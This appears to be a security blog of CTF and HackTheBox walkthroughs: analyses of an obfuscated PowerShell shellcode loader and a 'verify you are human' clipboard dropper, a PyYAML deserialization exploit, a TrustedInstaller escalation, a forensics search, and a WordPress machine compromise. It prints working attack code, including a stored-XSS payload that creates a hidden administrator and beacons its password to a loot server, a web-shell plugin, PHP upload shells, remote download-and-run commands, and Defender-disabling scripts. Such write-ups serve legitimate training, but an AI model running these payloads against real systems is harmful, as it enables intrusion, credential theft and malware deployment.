MultiTerm

Spaghetti - CTF challenge

0xpiko — Sat, 01 Nov 2025 00:00:00 GMT

Challenge informations

Name: Spaghetti
Category: 🐞 Malware

The walkthrough

We are presented with two files: spaghetti, a PowerShell script, and AYGIW.tmp, which contains what looks like an obfuscated payload.

Step 1 — Removing comments

The PowerShell script was filled with comments. I removed them all using VSCode's regex search and replace with the pattern:

^#.*

Step 2 — Removing junk math operations

After removing the comments we are left with a lot of useless mathematical operations that evaluate to nothing. After stripping those out, the actual executed logic becomes clear:

function Toggle-IPConfig {
    param (
        [Parameter(Mandatory=$true)]
        [bool]$State
    )

    if ($State) {
        ipconfig /release
    } else {
        ipconfig /renew
    }
}

Function FonatozQZ($monoTXtak) {
    $byTZlist = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $monoTXtak.Length; $i +=8) {
        $byTZlist.Add([Convert]::ToByte([String] $monoTXtak.Substring($i, 8), 2))
    }
    return [System.Text.Encoding]::ASCII.GetString($byTZlist.ToArray())
}

Function HombaAmigo([String] $IN) {
    $RunRBTX1 = $IN.Replace('~','000').Replace('%','4')
    $bytes = New-Object -TypeName byte[] -ArgumentList ($RunRBTX1.Length / 2)
    for ($i = 0; $i -lt $RunRBTX1.Length; $i += 2) {
        $bytes[$i / 2] = [Convert]::ToByte($RunRBTX1.Substring($i, 2), 16)
    }
    return [byte[]]$bytes
}

$currentDirectory = Get-Location
$fileName = "AYGIW.tmp"
$filePath = Join-Path -Path $currentDirectory -ChildPath $fileName
$MainFileSettings = Get-Content -Path $filePath
$url = "https://textbin.net/raw/jktip2kh0u"
$response = Invoke-WebRequest -Uri $url
$fileContents = $response.Content
$RunRBTX1 = $fileContents
$newTempFolder = $env:temp
$newDestination = $newTempFolder + "\RegSvcs.exe"
$newSourcePath  = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Copy-Item $newSourcePath -Destination $newDestination
Toggle-IPConfig -State $true   # To release IP

try {
    [byte[]]$WULC4 = HombaAmigo($MainFileSettings.replace('WT','00'))
    [byte[]]$YIV4Z = HombaAmigo($RunRBTX1)
    $OKM4 = (FonatozQZ("%1%%%1%1%1111%%%%11%%1%1%11%%%11%111%1%1%111%1%%%11%%1%1".Replace('%','0')))
    $x1ct = (FonatozQZ("0%00%00%0%%0%%%00%%%0%%00%%0%%%%0%%0%0%%0%%00%0%".Replace('%','1')))
    $Path   = $newDestination

    try {
        $ncr3 = [Ref].Assembly
        $ncrx3 = $ncr3::Load(($YIV4Z))
        $TXN4Z = MyFunciton($ncrx3);
        $MG5X = $TXN4Z.'GetMethod'($OKM4);
    } catch { }

    try {
        $MG5X.$x1ct($null,[object[]] ($Path.Replace("%%",""),$WULC4));
        $MyOasis4 = (FonatozQZ("<combination of % and ~>"))
        $MyOasis4 | Invoke-Expression
        $TDefo = (FonatozQZ("<combination of % and ~>"))
        $TDefo | Invoke-Expression
    } catch { }
} catch { }

start-sleep 3
Toggle-IPConfig -State $false  # To renew IP

Step 3 — Tracing the execution

The script:

Reads AYGIW.tmp (the encoded shellcode payload) and fetches an additional payload from textbin.net
Decodes both using HombaAmigo (hex decode with character substitutions) and FonatozQZ (binary string to ASCII)
Copies RegSvcs.exe from the .NET framework directory to %TEMP%
Loads the fetched content as a .NET assembly and calls methods on it to inject the shellcode into RegSvcs.exe
Evaluates two decoded strings via Invoke-Expression

Step 4 — Recovering the decoded strings

By taking parts of the script and running them in the PowerShell console to log intermediate values, I decoded the $TDefo variable which contained a Windows Defender exclusion configuration script:

Add-MpPreference -ExclusionExtension ".bat"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionExtension ".vbs"
Add-MpPreference -ExclusionExtension ".js"
Add-MpPreference -ExclusionPath  C:\
Add-MpPreference -ExclusionPath  C:\ProgramData\MEMEMAN\
# Add-MpPreference -ExclusionExtension "flag{60814731f508781b9a5f8636c817af9d}"
Add-MpPreference -ExclusionProcess explorer.exe
Add-MpPreference -ExclusionProcess powershell.exe
Add-MpPreference -ExclusionProcess cmd.exe
Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true
# ... (Windows Defender disable commands)
net user System32 /add
net localgroup administrators System32 /add
netsh advfirewall set allprofiles state off

The flag was hidden as a comment inside the Defender exclusion list:

flag{60814731f508781b9a5f8636c817af9d}

Verify you are human - CTF challenge

0xpiko — Sat, 01 Nov 2025 00:00:00 GMT

Challenge informations

Name: Verify You Are Human
Category: 🐞 Malware
Author: John Hammond

The walkthrough

The challenge starts with a webpage with a verify you are not a robot form, it prompts us to press win+R then Ctrl+V then Enter to verify.

The script that got copied to the clipboard is the following:

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe"
-Wi HI -nop -c
"$UkvqRHtIr=$env:LocalAppData+'\'+(Get-Random -Minimum 5482 -Maximum 86245)+'.PS1';"
+"irm 'http://217f6c95.proxy.coursestack.com:443/?tic=1'> $UkvqRHtIr;powershell -Wi HI -ep bypass -f $UkvqRHtIr"

It starts a powershell process with a hidden window and no profile and evaluates the command after the -c argument, the evaluated command downloads a file from http://217f6c95.proxy.coursestack.com/?tic=1 and saves it into a file under the local appdata having a random name with the .PS1 extension, then invokes it.

visiting this endpoint returns the following script after a little cleaning we end up with:

$pycExtension = '.pyc';
$guid = [guid]::NewGuid();
$OIEOPTRJGS = $env:LocalAppData;
irm 'http://217f6c95.proxy.coursestack.com/?tic=2' -OutFile $OIEOPTRJGS\$guid.pdf;
Add-Type -AssemblyName System.IO.Compression.FileSystem;
[System.IO.Compression.ZipFile]::ExtractToDirectory("$OIEOPTRJGS\$guid.pdf", "$OIEOPTRJGS\$guid");
$PIEVSDDGs = Join-Path $OIEOPTRJGS $guid;
$WQRGSGSD = "$guid";
$RSHSRHSRJSJSGSE = "$PIEVSDDGs\pythonw.exe";
$RYGSDFSGSH = "$PIEVSDDGs\cpython-3134.pyc";
$ENRYERTRYRNTER = New-ScheduledTaskAction -Execute $RSHSRHSRJSJSGSE -Argument "`"$RYGSDFSGSH`"";
$TDRBRTRNREN = (Get-Date).AddSeconds(180);
$YRBNETMREMY = New-ScheduledTaskTrigger -Once -At $TDRBRTRNREN;
$KRYIYRTEMETN = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive -RunLevel Limited;
Register-ScheduledTask -TaskName $WQRGSGSD -Action $ENRYERTRYRNTER -Trigger $YRBNETMREMY -Principal $KRYIYRTEMETN -Force;
Set-Location $PIEVSDDGs;
$WMVCNDYGDHJ = "cpython-3134" + $pycExtension;
 Rename-Item -Path "cpython-3134" -NewName $WMVCNDYGDHJ;
 iex ('rundll32 shell32.dll,ShellExec_RunDLL "' + $PIEVSDDGs + '\pythonw" "' + $PIEVSDDGs + '\'+ $WMVCNDYGDHJ + '"');
Remove-Item $MyInvocation.MyCommand.Path -Force;
Set-Clipboard

The second payload downloads another file and saves it to appdata/<GENERATED-GUID>.pdf then decompresses the zip into the same directory and runs the compiled python application named cpython-3134.pyc.

After downloading and extracting the zip file, I decompiled the cpython-3134.pyc file using pylingual and I got the following:

import ctypes

def xor_decrypt(ciphertext_bytes, key_bytes):
    decrypted_bytes = bytearray()
    key_length = len(key_bytes)
    for i, byte in enumerate(ciphertext_bytes):
        decrypted_byte = byte ^ key_bytes[i % key_length]
        decrypted_bytes.append(decrypted_byte)
    return bytes(decrypted_bytes)

shellcode = bytearray(xor_decrypt(base64.b64decode('zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2buDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='), base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()

This script decrypts shell code, then allocates memory the size of the payload using VirtualAlloc, copies the content of the shellcode to the allocated memory using RtlMoveMemory, and finally casts the shellcode function to the correct function type then calls the function.

To decrypt the shellcode I went to cyberchef and set the following operations:

55 89 e5 81 ec 80 47 db 97 68 93 d8 84 84 68 90 c3 c6 97 68 c3 90 93 92 68 90 c4 c3 c7 68 9c 93 9c 93 68 c0 9c c6 c6 68 97 c6 9c 93 68 94 c7 9d c1 68 de c1 96 91 68 c3 c9 c4 c2 b9 0a 95 f9 9a 89 e7 81 37 a5 a5 a5 a5 83 c7 04 49 75 f4 c6 44 24 26 cd c6 85 7f ff ff ff ee 89 e6 8d 7d 80 b9 26 4f 3c ee 8a 06 88 07 46 47 49 75 f7 c6 07 ee 8d 3c 24 b9 40 db 97 4f b0 01 88 07 47 49 75 fa c9 c3

Taking this result and decompiling it using defuse.ca disassembler using the x86 architecture, I had the following instructions:

0:  55                      push   ebp
1:  89 e5                   mov    ebp,esp
3:  81 ec 80 47 db 97       sub    esp,0x97db4780
9:  68 93 d8 84 84          push   0x8484d893
e:  68 90 c3 c6 97          push   0x97c6c390
13: 68 c3 90 93 92          push   0x929390c3
18: 68 90 c4 c3 c7          push   0xc7c3c490
1d: 68 9c 93 9c 93          push   0x939c939c
22: 68 c0 9c c6 c6          push   0xc6c69cc0
27: 68 97 c6 9c 93          push   0x939cc697
2c: 68 94 c7 9d c1          push   0xc19dc794
31: 68 de c1 96 91          push   0x9196c1de
36: 68 c3 c9 c4 c2          push   0xc2c4c9c3
3b: b9 0a 95 f9 9a          mov    ecx,0x9af9950a
40: 89 e7                   mov    edi,esp
42: 81 37 a5 a5 a5 a5       xor    DWORD PTR [edi],0xa5a5a5a5
48: 83 c7 04                add    edi,0x4
4b: 49                      dec    ecx
4c: 75 f4                   jne    0x42
4e: c6 44 24 26 cd          mov    BYTE PTR [esp+0x26],0xcd
53: c6 85 7f ff ff ff ee    mov    BYTE PTR [ebp-0x81],0xee
5a: 89 e6                   mov    esi,esp
5c: 8d 7d 80                lea    edi,[ebp-0x80]
5f: b9 26 4f 3c ee          mov    ecx,0xee3c4f26
64: 8a 06                   mov    al,BYTE PTR [esi]
66: 88 07                   mov    BYTE PTR [edi],al
68: 46                      inc    esi
69: 47                      inc    edi
6a: 49                      dec    ecx
6b: 75 f7                   jne    0x64
6d: c6 07 ee                mov    BYTE PTR [edi],0xee
70: 8d 3c 24                lea    edi,[esp]
73: b9 40 db 97 4f          mov    ecx,0x4f97db40
78: b0 01                   mov    al,0x1
7a: 88 07                   mov    BYTE PTR [edi],al
7c: 47                      inc    edi
7d: 49                      dec    ecx
7e: 75 fa                   jne    0x7a
80: c9                      leave
81: c3                      ret

The instruction at the address 0x42 is a xor instruction between the value 0xa5a5a5a5 and the contents of the stack that was initialized from 0x9 to 0x36.

Again using cyberchef I xor'ed the content of the stack with the key 0xa5 and I got the flag reversed so I added the reverse operation and ended up with the flag:

Sigma Linter - CTF challenge

0xpiko — Wed, 05 Nov 2025 00:00:00 GMT

Challenge informations

Name: Sigma Linter
Category: 🌐 Web

The walkthrough

We are presented with a linter for Sigma rules using YAML, there was only one endpoint that accepts a YAML file and the backend was made in Python.

Python's PyYAML library has a well-known unsafe deserialization vulnerability when using yaml.load() without specifying a safe loader. It allows arbitrary Python objects to be instantiated via the !!python/object/apply tag, which can be used to execute shell commands.

The following payload was submitted to the linter endpoint:

title: Suspicious Process Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image: '*\\cmd.exe'
    CommandLine: '* /c *'
  condition: !!python/object/apply:subprocess.check_output [['cat', 'flag.txt']]

level: medium
description: Detects suspicious command execution
author: Security Team

The key part is the condition field — instead of a valid Sigma condition string, we inject a !!python/object/apply tag that calls subprocess.check_output with ['cat', 'flag.txt'] as arguments.

When the backend deserializes this YAML using the unsafe yaml.load(), it executes the command and the output is returned in the response, giving us the flag.

TrustMe - CTF challenge

0xpiko — Fri, 07 Nov 2025 00:00:00 GMT

Challenge informations

Name: TrustMe
Category: 💠 Windows

The walkthrough

We are presented with a binary on the desktop that outputs the following message when executed normally:

The binary requires being run as TrustedInstaller. After researching how to escalate to that level, I found this blog post.

First attempt — hijacking the TrustedInstaller service path

The first approach was to redirect the TrustedInstaller service binary path to run our target executable:

sc.exe config TrustedInstaller binpath= "cmd /c powershell -c C:\Users\Administrator\Desktop\TrustMe.exe"
Start-Service TrustedInstaller

The process does execute (visible in Task Manager) but does not show output on screen. We can see it ran:

Second approach — spawning a child process using NtObjectManager

The blog post describes a cleaner method: spawning a new process as a child of TrustedInstaller.exe using the NtObjectManager PowerShell module.

Since the machine had no internet access, I switched to the VPN, downloaded the NuGet package on my local machine from PowerShell Gallery, served it over HTTP:

python -m http.server 8080

Then fetched and installed it on the Windows machine:

curl http://10.200.7.48:8080/ntobjectmanager.zip -O ntobjectmanager.zip

# Extract and install the module
Expand-Archive -Path .\ntobjectmanager.zip -DestinationPath NtObjectManager
$env:PSModulePath -split ';'
cp NtObjectManager C:\Users\Administrator\Documents\WindowsPowerShell\Modules
Import-Module NtObjectManager

Note: version 1.1.32 was required — version 1.1.20 did not work.

Before using the module, reset the TrustedInstaller service path back to normal:

sc.exe config TrustedInstaller binpath= 'C:\Windows\servicing\TrustedInstaller.exe'

Then spawn TrustMe.exe as a child of the TrustedInstaller process:

# Start the TrustedInstaller service
Start-Service TrustedInstaller

# Get the TrustedInstaller process
$p = Get-NtProcess -Name TrustedInstaller.exe

# Spawn TrustMe.exe as a child of TrustedInstaller
$proc = New-Win32Process .\Desktop\TrustMe.exe -ParentProcess $p

The binary now runs with TrustedInstaller privileges and outputs the flag:

Tabby's Date - CTF challenge

0xpiko — Sun, 09 Nov 2025 00:00:00 GMT

Challenge informations

Name: Tabby's Date
Category: 🔍 Forensics

The walkthrough

We are presented with a zip file so after extracting its contents, we are presented with a lot of folders most of them are empty.

So to find the non-empty folders I ran the following command.

find ./C -type f

This returned the paths to all the files under the C folder.

...
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/002d2531-9aff-42b1-b54d-b178c88063b4.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/04165ca3-c82b-42ca-ab07-0c774ae66efd.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/056941ef-d51d-4e57-9a55-b59d58bf3fcb.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/14623d59-ad8c-43a8-b669-587f049a1516.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/17de440f-3f69-4d8a-94fe-f3d4b9cf0c3f.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/1aebb59c-5d51-41f1-918e-dec9e1a28ce1.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/2d755c27-5840-47ad-a4ca-ed8041dd3047.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/2e0dd6b6-ba93-4efc-9fd4-985dad74869a.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/414e4071-60e6-4bb6-9a5a-f1e5bf6fe79c.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/45dcdbe4-26b5-4e0b-ba2d-29e9e9c1e11b.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/4f1c96a1-960c-4cee-9751-fe4b4f59fdd0.bin
...

Looking at the contents of one of these files it has a lot of null bytes since Windows uses UTF-16-LE encoding for texts.

for x in $(find ./C -type f); do strings -e l $x; done

The command above will print the UTF-16-LE text in these files. All we need to add now is a lookup for the keyword flag.

for x in $(find ./C -type f); do strings -e l $x; done | grep flag

And we get:

they told me the password is: flag{165d19b610c02b283fc1a6b4a54c4a58}

MakeSense - HackTheBox

0xpiko — Sat, 11 Jul 2026 00:00:00 GMT

Machine informations

Name: MakeSense
OS: Linux
Domain: makesense.htb

Recon

An initial nmap scan shows SSH, a filtered HTTP port on 80, HTTPS on 443 serving a WordPress site, and a filtered service on port 8001:

PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp   filtered http
443/tcp  open     ssl/http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Agency LLC
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
8001/tcp filtered vcom-tunnel

The certificate common name makesense.htb gives us the vhost. Port 8001 is filtered from the outside — keep it in mind, it becomes the privilege escalation vector later.

Browsing to https://makesense.htb lands on the "WebAgency / Agency LLC" WordPress site:

Foothold — Stored XSS → WordPress admin takeover

The site (https://makesense.htb) is a WordPress "Agency LLC" page with a contact form. The contact form is vulnerable to stored XSS: our payload is later rendered in the browser of an authenticated admin who reviews the submissions.

Rather than just stealing a cookie, we abuse the admin's session directly. Since the payload runs same-origin in the admin's browser, we can perform an XSS → CSRF chain that creates a brand-new administrator account for us.

The following payload is served from our attacker box and executed inside the admin's session. It:

GETs /wp-admin/user-new.php to scrape a fresh _wpnonce_create-user nonce (WordPress rejects the POST without it).
POSTs the create-user form with role=administrator, using the victim's own cookies (sent automatically, same-origin).
Beacons the outcome back to our loot server.

(function () {
  var NEW_USER = 'backdoor';
  var NEW_PASS = 'Backd00r!2024';
  var NEW_EMAIL = 'backdoor@evil.local';

  var scriptEl = document.currentScript;
  var origin = scriptEl ? new URL(scriptEl.src).origin : location.origin;
  var LOOT = origin + '/hook-loot';

  var base = location.origin;
  var adminPath = '/wp-admin/user-new.php';

  function report(status, detail) {
    try {
      new Image().src =
        LOOT + '?wp=' + encodeURIComponent(status) +
        '&user=' + encodeURIComponent(NEW_USER) +
        '&detail=' + encodeURIComponent((detail || '').slice(0, 300)) +
        '&url=' + encodeURIComponent(base);
    } catch (e) {}
  }

  // Step 1: fetch user-new.php to get a valid nonce for this session.
  fetch(base + adminPath, { credentials: 'include' })
    .then(function (r) { return r.text(); })
    .then(function (html) {
      var m = html.match(/name="_wpnonce_create-user"\s+value="([a-f0-9]+)"/i);
      if (!m) { report('no-nonce', 'not admin / user-new.php unreachable'); return; }
      var nonce = m[1];

      var refMatch = html.match(/name="_wp_http_referer"\s+value="([^"]*)"/i);
      var referer = refMatch ? refMatch[1] : adminPath;

      // Step 2: build and submit the create-user form.
      var body = new URLSearchParams();
      body.set('action', 'createuser');
      body.set('_wpnonce_create-user', nonce);
      body.set('_wp_http_referer', referer);
      body.set('user_login', NEW_USER);
      body.set('email', NEW_EMAIL);
      body.set('pass1', NEW_PASS);
      body.set('pass1-text', NEW_PASS);
      body.set('pass2', NEW_PASS);
      body.set('pw_weak', 'on');           // allow "weak" passwords through
      body.set('send_user_notification', ''); // don't email the real admin
      body.set('role', 'administrator');
      body.set('createuser', 'Add New User');

      return fetch(base + adminPath, {
        method: 'POST',
        credentials: 'include',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: body.toString(),
      })
        .then(function (r) { return r.text(); })
        .then(function (resp) {
          if (/update=add/.test(resp) || /New user created/i.test(resp)) {
            report('created', NEW_USER + ':' + NEW_PASS);
          } else if (/already registered|username is already/i.test(resp)) {
            report('exists', NEW_USER + ' already exists');
          } else {
            report('unknown', 'POST returned, check manually');
          }
        });
    })
    .catch(function (e) { report('error', String(e)); });
})();

Once the admin views our malicious submission, the script fires and our loot server confirms the new backdoor:Backd00r!2024 administrator was created. We can now log in at /wp-login.php directly:

RCE — Malicious plugin

With admin access, the quickest path to code execution on a WordPress box is uploading a plugin. We package a minimal backdoor plugin:

<?php
/*
* Plugin Name:       WP Backdoor
* Description:       Undisguised backdoor for WordPress.
* Version:           1.0
* Author:            0xpiko
*/

add_action( 'wp_head', 'print_extra_line' );

function print_extra_line() {
    if ( isset( $_GET['cmd'] ) ) {
        echo system($_GET['cmd']);
    }
}
?>

After installing and activating it, every page hooks wp_head and executes commands passed via the cmd parameter. We can now read the WordPress config to grab the database and user credentials:

https://makesense.htb/?cmd=cat%20wp-config.php

Tip: viewing the page source (CTRL+U) preserves the newlines and makes the config readable.

The wp-config.php exposes credentials for the user walter, which are reused for SSH:

ssh walter@makesense.htb

We now have an interactive shell as walter and the user flag.

Privilege escalation — Internal OCR service on port 8001

Remember the filtered port 8001 from the nmap scan. From inside the box, it's listening only on localhost:

walter@makesense:/var/www/html$ ss -lntp
State    Local Address:Port
LISTEN   127.0.0.1:8001
LISTEN   0.0.0.0:80
LISTEN   0.0.0.0:22
LISTEN   0.0.0.0:443

We forward it to our machine over the SSH session:

ssh -L 8001:localhost:8001 walter@makesense.htb

Browsing to http://localhost:8001/ reveals an OCR web app (PHP, HTTP Basic auth) that takes an image from a canvas and lets us save the output to the server:

Crucially, there is no extension validation on the saved filename — and the server runs PHP.

Crafting the polyglot image

Since the app stores whatever bytes we send and lets us name the file, we embed a PHP web shell inside a valid PNG. Using GIMP, we create an image matching the canvas dimensions and drop the payload into it:

<?php echo system($_GET["cmd"]); ?>

Uploading the image

We submit the base64-encoded PNG (with the embedded PHP) as canvas_image:

curl --location 'http://localhost:8001/' \
  --header 'Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh' \
  --header 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'canvas_image=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...<snip embedded PHP payload>...'

Saving it as a `.php` file

The app returns an ocr_id. We call the save endpoint and — because there's no extension check — name the output 1.php:

curl --location 'http://localhost:8001/' \
  --header 'Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh' \
  --header 'Content-Type: application/x-www-form-urlencoded' \
  --header 'Cookie: PHPSESSID=4vt5ej7ndbajvtni85j0d876qs' \
  --data-urlencode 'ocr_id=ocr_6a5172cf1809c1.02304565' \
  --data-urlencode 'filename=1.php' \
  --data-urlencode 'save_output='

Root

The service runs as root, so our uploaded shell executes commands as root. Reading the flag:

http://localhost:8001/saved/1.php?cmd=cat%20/root/root.txt

And we get the root flag. 🚩

Summary

Stage	Vulnerability
Foothold	Stored XSS in contact form → CSRF to create WP admin
Web RCE	Malicious WordPress plugin upload
Lateral	Credential reuse from `wp-config.php` → SSH as `walter`
Root	SSH tunnel to internal OCR service, unrestricted PHP file upload (polyglot image)

MultiTerm

Spaghetti - CTF challenge

Challenge informations

The walkthrough

Step 1 — Removing comments

Step 2 — Removing junk math operations

Step 3 — Tracing the execution

Step 4 — Recovering the decoded strings

Verify you are human - CTF challenge

Challenge informations

The walkthrough

Sigma Linter - CTF challenge

Challenge informations

The walkthrough

TrustMe - CTF challenge

Challenge informations

The walkthrough

First attempt — hijacking the TrustedInstaller service path

Second approach — spawning a child process using NtObjectManager

Tabby's Date - CTF challenge

Challenge informations

The walkthrough

MakeSense - HackTheBox

Machine informations

Recon

Foothold — Stored XSS → WordPress admin takeover

RCE — Malicious plugin

Privilege escalation — Internal OCR service on port 8001

Crafting the polyglot image

Uploading the image

Saving it as a .php file

Root

Summary

Saving it as a `.php` file